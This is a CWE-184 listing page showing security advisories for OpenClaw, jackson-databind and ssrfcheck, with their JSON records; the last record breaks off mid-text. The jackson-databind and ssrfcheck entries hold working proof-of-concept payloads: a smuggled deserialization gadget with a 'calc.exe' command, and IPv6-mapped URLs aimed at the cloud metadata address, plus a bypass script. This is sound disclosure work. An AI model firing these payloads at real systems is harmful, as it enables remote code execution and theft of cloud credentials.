Common Weakness Enumeration

CWE-184

Allowed

Incomplete List of Disallowed Inputs

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

306 vulnerabilities reference this CWE, most recent first.

GHSA-HXVM-XJVF-93F3

Vulnerability from github – Published: 2026-04-25 23:47 – Updated: 2026-05-12 13:36
VLAI
Summary
OpenClaw: Workspace dotenv could override runtime-control environment variables
Details

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: < 2026.4.20
  • Patched version: 2026.4.20

Impact

Workspace .env loading did not reserve the OPENCLAW_ runtime-control namespace broadly enough. A malicious workspace could set variables such as OPENCLAW_GIT_DIR before source-update or installer flows, potentially steering trusted OpenClaw runtime behavior.

This requires running OpenClaw from an attacker-controlled workspace. Severity is medium.

Fix

OpenClaw now reserves the workspace OPENCLAW_ environment namespace and rejects workspace dotenv entries for OpenClaw runtime-control variables.

Fix commit:

  • 018494fa3ebb9145112e68b56fe1cb2e9f9a9ed6

Release

Fixed in OpenClaw 2026.4.20.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.5 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-25T23:47:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c 2026.4.20`\n- Patched version: `2026.4.20`\n\n## Impact\n\nWorkspace `.env` loading did not reserve the `OPENCLAW_` runtime-control namespace broadly enough. A malicious workspace could set variables such as `OPENCLAW_GIT_DIR` before source-update or installer flows, potentially steering trusted OpenClaw runtime behavior.\n\nThis requires running OpenClaw from an attacker-controlled workspace. Severity is medium.\n\n## Fix\n\nOpenClaw now reserves the workspace `OPENCLAW_` environment namespace and rejects workspace dotenv entries for OpenClaw runtime-control variables.\n\nFix commit:\n\n- `018494fa3ebb9145112e68b56fe1cb2e9f9a9ed6`\n\n## Release\n\nFixed in OpenClaw `2026.4.20`.",
  "id": "GHSA-hxvm-xjvf-93f3",
  "modified": "2026-05-12T13:36:42Z",
  "published": "2026-04-25T23:47:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-hxvm-xjvf-93f3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44114"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/018494fa3ebb9145112e68b56fe1cb2e9f9a9ed6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-environment-variable-namespace-collision-via-workspace-dotenv"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Workspace dotenv could override runtime-control environment variables"
}

GHSA-J3RV-43J4-C7QM

Vulnerability from github – Published: 2026-06-23 21:21 – Updated: 2026-06-23 21:21
VLAI
Summary
jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation
Details

jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.

If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.

An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.

This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.

Impact

  • Bypass of the PTV allow-list, including the recommended BasicPolymorphicTypeValidator configured with name-prefix allow rules.
  • Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
  • Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,TemplatesImpl-style loaders, etc.) is present on the classpath.

Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.

Proof of Concept

Configuration restricting polymorphic deserialization to a single safe container:

BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("java.util.ArrayList")
        .build();

ObjectMapper mapper = JsonMapper.builder()
        .polymorphicTypeValidator(ptv)
        .build();

Malicious payload (Wrapper.value is Object with @JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):

{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}

On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.

Variant payloads (all bypass an ArrayList/HashMap allow-list):

Type ID Smuggled type position
java.util.ArrayList<Evil> list element
java.util.HashMap<Evil,String> map key
java.util.HashMap<String,Evil> map value
java.util.ArrayList<java.util.ArrayList<Evil>> nested element
java.util.ArrayList<Evil[]> array element

Patches

Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.18.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.21.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T21:21:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "`jackson-databind`\u0027s `PolymorphicTypeValidator` (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains `\u003c`), `DatabindContext._resolveAndValidateGeneric()` validates **only the raw container class name** (the substring before `\u003c`) against the configured PTV.\n\nIf the container type is approved, the method parses the full canonical type string via `TypeFactory.constructFromCanonical()` and returns the fully parameterized type **without ever validating the nested type arguments** against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.\n\nAn attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container \u2014 for example `java.util.ArrayList\u003ccom.evil.Gadget\u003e` when only `java.util.ArrayList` is allow-listed. The container passes the PTV check; `com.evil.Gadget` is loaded via `Class.forName(name, true, loader)`, instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.\n\nThis is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.\n\n\n## Impact\n\n- **Bypass of the PTV allow-list**, including the recommended `BasicPolymorphicTypeValidator` configured with name-prefix allow rules.\n- **Arbitrary class instantiation** of any type assignable to the container\u0027s element/parameter position, with attacker-controlled property values (setter/field injection).\n- **Potential unauthenticated remote code execution** when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,`TemplatesImpl`-style loaders, etc.) is present on the classpath.\n\nApplications that accept untrusted JSON and rely on a configured PTV \u2014 the documented, security-conscious configuration \u2014 are affected.\n\n\n## Proof of Concept\n\nConfiguration restricting polymorphic deserialization to a single safe container:\n\n```java\nBasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n        .allowIfSubType(\"java.util.ArrayList\")\n        .build();\n\nObjectMapper mapper = JsonMapper.builder()\n        .polymorphicTypeValidator(ptv)\n        .build();\n```\n\nMalicious payload (`Wrapper.value` is `Object` with `@JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)`):\n\n```json\n{\"value\":[\"java.util.ArrayList\u003ccom.evil.EvilGadget\u003e\",[{\"cmd\":\"calc.exe\"}]]}\n```\n\nOn vulnerable versions, `com.evil.EvilGadget` is instantiated and its `cmd` property is set, despite only `java.util.ArrayList` being allow-listed. On `2.18.8` / `2.21.4` / `3.1.4` the deserialization throws `InvalidTypeIdException` before instantiation.\n\n**Variant payloads** (all bypass an `ArrayList`/`HashMap` allow-list):\n\n| Type ID | Smuggled type position |\n|---|---|\n| `java.util.ArrayList\u003cEvil\u003e` | list element |\n| `java.util.HashMap\u003cEvil,String\u003e` | map key |\n| `java.util.HashMap\u003cString,Evil\u003e` | map value |\n| `java.util.ArrayList\u003cjava.util.ArrayList\u003cEvil\u003e\u003e` | nested element |\n| `java.util.ArrayList\u003cEvil[]\u003e` | array element |\n\n---\n\n## Patches\n\nFixed in **2.18.8**, **2.21.4** and **3.1.4** via the changes for [FasterXML/jackson-databind#5988](https://github.com/FasterXML/jackson-databind/issues/5988), commit `434d6c511`. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for `Object` (wildcard resolution) and `Enum` types.\n\n`PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.",
  "id": "GHSA-j3rv-43j4-c7qm",
  "modified": "2026-06-23T21:21:38Z",
  "published": "2026-06-23T21:21:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-j3rv-43j4-c7qm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/issues/5988"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/434d6c511de7fdd9872f29157aafb6162d12d8d5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation"
}

GHSA-J472-GF56-X589

Vulnerability from github – Published: 2026-07-02 17:22 – Updated: 2026-07-02 17:22
VLAI
Summary
OpenClaw: PowerShell encoded-command aliases could miss exec allowlist checks
Details

Summary

PowerShell encoded-command aliases could miss exec allowlist checks. In affected versions, a command request using abbreviated encoded-command flags could use an alias form not recognized by the allowlist parser.

This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.

Impact

When the affected feature is enabled and reachable, this could run encoded PowerShell content without the intended allowlist decision. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.

Patched Versions

The first stable patched version is 2026.5.12.

Mitigations

Avoid allowlisting PowerShell wrapper forms and require approval for encoded commands until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.5.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.5.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T17:22:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPowerShell encoded-command aliases could miss exec allowlist checks. In affected versions, a command request using abbreviated encoded-command flags could use an alias form not recognized by the allowlist parser.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw\u0027s trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could run encoded PowerShell content without the intended allowlist decision. Practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.12`.\n\n### Mitigations\n\nAvoid allowlisting PowerShell wrapper forms and require approval for encoded commands until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.",
  "id": "GHSA-j472-gf56-x589",
  "modified": "2026-07-02T17:22:52Z",
  "published": "2026-07-02T17:22:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-j472-gf56-x589"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: PowerShell encoded-command aliases could miss exec allowlist checks"
}

GHSA-J4RJ-2JR5-M439

Vulnerability from github – Published: 2026-05-05 20:29 – Updated: 2026-05-13 16:26
VLAI
Summary
ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs
Details

Summary

ssrfcheck v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.

Details

Vulnerable file: src/is-private-ip.js

The library detects IPv6 private addresses using the privIp6() function. The relevant portion:

// src/is-private-ip.js  (lines ~40-60 of the published source)
function privIp6 (ip) {
  return /^::$/.test(ip) ||
    /^::1$/.test(ip) ||
    /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    /^64:ff9b::([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    // ... more patterns, all expect dot-notation ...
}

The third line is the IPv4-mapped IPv6 check. It expects input in the form ::ffff:127.0.0.1 (dots). However, the IP is extracted from the URL using url.hostname, which goes through the WHATWG URL parser first.

How WHATWG URL normalizes the address (src/parse-url.js):

const url = new URL(normalizeURLStr(input));   // WHATWG URL parser runs here
const ipcheck = trimBrackets(url.hostname);    // e.g. '::ffff:7f00:1'  ← hex, no dots
const ipVersion = isIP(ipcheck);               // returns 6

The WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:

127.0.0.1       → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1
169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe
192.168.1.1     → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101

So by the time the regex /^::f{4}:(\d+)\.(\d+)\.(\d+)\.(\d+)$/ runs, the string it receives is ::ffff:7f00:1 — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).

Entry point (src/index.js):

if (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {
  return false;   // ← never reached for IPv4-mapped IPv6
}
return true;      // ← always reached → BYPASS

PoC

Environment: Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable.

Setup:

mkdir ssrfcheck-poc && cd ssrfcheck-poc
npm init -y
npm install ssrfcheck

Step 1 — confirm WHATWG URL normalization:

node << 'EOF'
const addrs = [
  ['127.0.0.1',       'loopback'],
  ['169.254.169.254', 'AWS/GCP/Azure metadata'],
  ['192.168.1.1',     'private LAN'],
  ['10.0.0.1',        '10.x range'],
];
for (const [ip, label] of addrs) {
  const h = new URL('http://[::ffff:' + ip + ']/').hostname;
  console.log(label + ' -> ' + h);
}
EOF

Expected output — confirms WHATWG drops dots:

loopback              -> [::ffff:7f00:1]
AWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]
private LAN           -> [::ffff:c0a8:101]
10.x range            -> [::ffff:a00:1]

Step 2 — trigger the bypass:

node << 'EOF'
const { isSSRFSafeURL } = require('ssrfcheck');

const bypasses = [
  'http://[::ffff:127.0.0.1]/',
  'http://[::ffff:169.254.169.254]/',
  'http://[::ffff:192.168.1.1]/',
  'http://[::ffff:10.0.0.1]/',
  'http://[::ffff:172.16.0.1]/',
  'http://[::ffff:7f00:1]/',
  'http://[0:0:0:0:0:ffff:127.0.0.1]/',
];

for (const url of bypasses) {
  const result = isSSRFSafeURL(url);
  console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result);
}

console.log('---');
const r1 = isSSRFSafeURL('http://127.0.0.1/');
const r2 = isSSRFSafeURL('http://192.168.1.1/');
const r3 = isSSRFSafeURL('http://[::1]/');
console.log('127.0.0.1 caught?',   r1 === false);
console.log('192.168.1.1 caught?', r2 === false);
console.log('[::1] caught?',        r3 === false);
EOF

Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):

[BYPASS] http://[::ffff:127.0.0.1]/           -> true
[BYPASS] http://[::ffff:169.254.169.254]/     -> true
[BYPASS] http://[::ffff:192.168.1.1]/         -> true
[BYPASS] http://[::ffff:10.0.0.1]/            -> true
[BYPASS] http://[::ffff:172.16.0.1]/          -> true
[BYPASS] http://[::ffff:7f00:1]/              -> true
[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/  -> true
---
127.0.0.1 caught?   true
192.168.1.1 caught? true
[::1] caught?        true

7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.

Full automated verification script (verify-ssrfcheck.js):

#!/usr/bin/node
// ssrfcheck bypass verification script
// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization

const { isSSRFSafeURL } = require('ssrfcheck');

const RED   = '\x1b[31m';
const GREEN = '\x1b[32m';
const CYAN  = '\x1b[36m';
const DIM   = '\x1b[2m';
const RESET = '\x1b[0m';

const BYPASSES = [
  { url: 'http://[::ffff:127.0.0.1]/',         label: 'loopback   (127.0.0.1)' },
  { url: 'http://[::ffff:169.254.169.254]/',   label: 'AWS meta   (169.254.169.254)' },
  { url: 'http://[::ffff:192.168.1.1]/',       label: 'LAN        (192.168.1.1)' },
  { url: 'http://[::ffff:10.0.0.1]/',          label: '10.x range (10.0.0.1)' },
  { url: 'http://[::ffff:172.16.0.1]/',        label: '172.16.x   (172.16.0.1)' },
  { url: 'http://[::ffff:7f00:1]/',            label: 'hex form   (direct)' },
  { url: 'http://[0:0:0:0:0:ffff:127.0.0.1]/', label: 'expanded   (0:0:0:0:0:ffff:127.0.0.1)' },
];

const BASELINE = [
  { url: 'http://127.0.0.1/',    label: 'dotted loopback', expectFalse: true },
  { url: 'http://192.168.1.1/',  label: 'private LAN',     expectFalse: true },
  { url: 'http://[::1]/',        label: 'IPv6 loopback',   expectFalse: true },
  { url: 'https://example.com/', label: 'public domain',   expectFalse: false },
];

console.log(`\n${CYAN}=== ssrfcheck v1.3.0 — bypass verification ===${RESET}`);
console.log(`${DIM}Node.js ${process.version}${RESET}\n`);

console.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);
for (const { url } of BYPASSES) {
  const parsed = new URL(url);
  console.log(`  ${url.padEnd(45)} -> hostname: ${parsed.hostname}`);
}

console.log(`\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);
let bypassed = 0;
for (const { url, label } of BYPASSES) {
  const result = isSSRFSafeURL(url);
  if (result === true) bypassed++;
  const tag = result === true
    ? `${RED}[BYPASS]${RESET}`
    : `${GREEN}[caught]${RESET}`;
  console.log(`  ${tag} ${label.padEnd(30)} -> isSSRFSafeURL() = ${result}`);
}

console.log(`\n${CYAN}[STEP 3] Baseline checks${RESET}`);
for (const { url, label, expectFalse } of BASELINE) {
  const result = isSSRFSafeURL(url);
  const ok = (expectFalse ? result === false : result === true);
  const tag = ok ? `${GREEN}[OK]${RESET}    ` : `${RED}[FAIL]${RESET}  `;
  console.log(`  ${tag} ${label.padEnd(20)} -> isSSRFSafeURL() = ${result}`);
}

console.log(`\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\n`);
process.exit(bypassed === BYPASSES.length ? 1 : 0);

Run:

node verify-ssrfcheck.js
# exit code 1 = bypasses confirmed (vulnerable)
# exit code 0 = all caught (fixed)

VIDEO POC ASCII CAST

asciicast

--

Impact

Vulnerability type: Server-Side Request Forgery (SSRF) — complete protection bypass

Who is impacted: Any Node.js application that: 1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload) 2. Uses isSSRFSafeURL() from ssrfcheck to validate that URL before making an outbound HTTP request 3. Runs on Node.js >= 10 (WHATWG URL parser enabled — all supported versions as of 2026)

Concrete impact scenarios:

  • Cloud metadata theft: On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat
  • Internal network pivoting: Attacker reaches services on 10.x.x.x, 172.16.x.x, 192.168.x.x that are not exposed to the internet, bypassing the only protection layer.
  • Localhost access: Attacker reaches http://[::ffff:127.0.0.1]/admin or any service bound to loopback on the server.

The bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version >= 10.

Weaknesses

CWE-918 — Server-Side Request Forgery (SSRF) CWE-184 — Incomplete List of Disallowed Inputs

Suggested Fix

Replace the hand-rolled regex denylist in src/is-private-ip.js with Node's built-in net.BlockList, which operates on parsed IP values and is immune to string representation differences:

- function privIp6 (ip) {
-   return /^::$/.test(ip) ||
-     /^::1$/.test(ip) ||
-     /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
-     /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
-     ...
- }

+ const { BlockList } = require('net');
+
+ const _ipv6Block = new BlockList();
+ _ipv6Block.addAddress('::',          'ipv6');          // unspecified
+ _ipv6Block.addAddress('::1',         'ipv6');          // loopback
+ _ipv6Block.addSubnet('::ffff:0:0',   96, 'ipv6');      // ALL IPv4-mapped — catches any private IPv4 in any notation
+ _ipv6Block.addSubnet('64:ff9b::',    96, 'ipv6');      // NAT64
+ _ipv6Block.addSubnet('fc00::',        7, 'ipv6');      // ULA
+ _ipv6Block.addSubnet('fe80::',       10, 'ipv6');      // link-local
+ _ipv6Block.addSubnet('ff00::',        8, 'ipv6');      // multicast
+ _ipv6Block.addSubnet('100::',        64, 'ipv6');      // IETF reserved
+ _ipv6Block.addSubnet('2001::',       32, 'ipv6');      // Teredo
+ _ipv6Block.addSubnet('2001:db8::',   32, 'ipv6');      // documentation
+ _ipv6Block.addSubnet('2002::',       16, 'ipv6');      // 6to4
+
+ function privIp6(ip) {
+   try { return _ipv6Block.check(ip, 'ipv6'); }
+   catch { return false; }
+ }

The ::ffff:0:0/96 subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. BlockList.check() parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ssrfcheck"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:29:33Z",
    "nvd_published_at": "2026-05-12T18:17:28Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`ssrfcheck` v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. `http://[::ffff:127.0.0.1]/`). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form (`[::ffff:7f00:1]`) before the library\u0027s private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input \u2014 all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address `169.254.169.254`, are bypassed. Any application using `isSSRFSafeURL()` to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.\n\n---\n\n### Details\n\n**Vulnerable file:** `src/is-private-ip.js`\n\nThe library detects IPv6 private addresses using the `privIp6()` function. The relevant portion:\n\n```js\n// src/is-private-ip.js  (lines ~40-60 of the published source)\nfunction privIp6 (ip) {\n  return /^::$/.test(ip) ||\n    /^::1$/.test(ip) ||\n    /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    /^64:ff9b::([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    // ... more patterns, all expect dot-notation ...\n}\n```\n\nThe third line is the IPv4-mapped IPv6 check. It expects input in the form `::ffff:127.0.0.1` (dots). However, the IP is extracted from the URL using `url.hostname`, which goes through the WHATWG URL parser first.\n\n**How WHATWG URL normalizes the address** (`src/parse-url.js`):\n\n```js\nconst url = new URL(normalizeURLStr(input));   // WHATWG URL parser runs here\nconst ipcheck = trimBrackets(url.hostname);    // e.g. \u0027::ffff:7f00:1\u0027  \u2190 hex, no dots\nconst ipVersion = isIP(ipcheck);               // returns 6\n```\n\nThe WHATWG URL spec (\u00a75.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:\n\n```\n127.0.0.1       \u2192 0x7f000001 \u2192 [0x7f00, 0x0001] \u2192 serialized as 7f00:1\n169.254.169.254 \u2192 0xa9fea9fe \u2192 [0xa9fe, 0xa9fe] \u2192 serialized as a9fe:a9fe\n192.168.1.1     \u2192 0xc0a80101 \u2192 [0xc0a8, 0x0101] \u2192 serialized as c0a8:101\n```\n\nSo by the time the regex `/^::f{4}:(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/` runs, the string it receives is `::ffff:7f00:1` \u2014 no dots, no match. The regex has been dead code 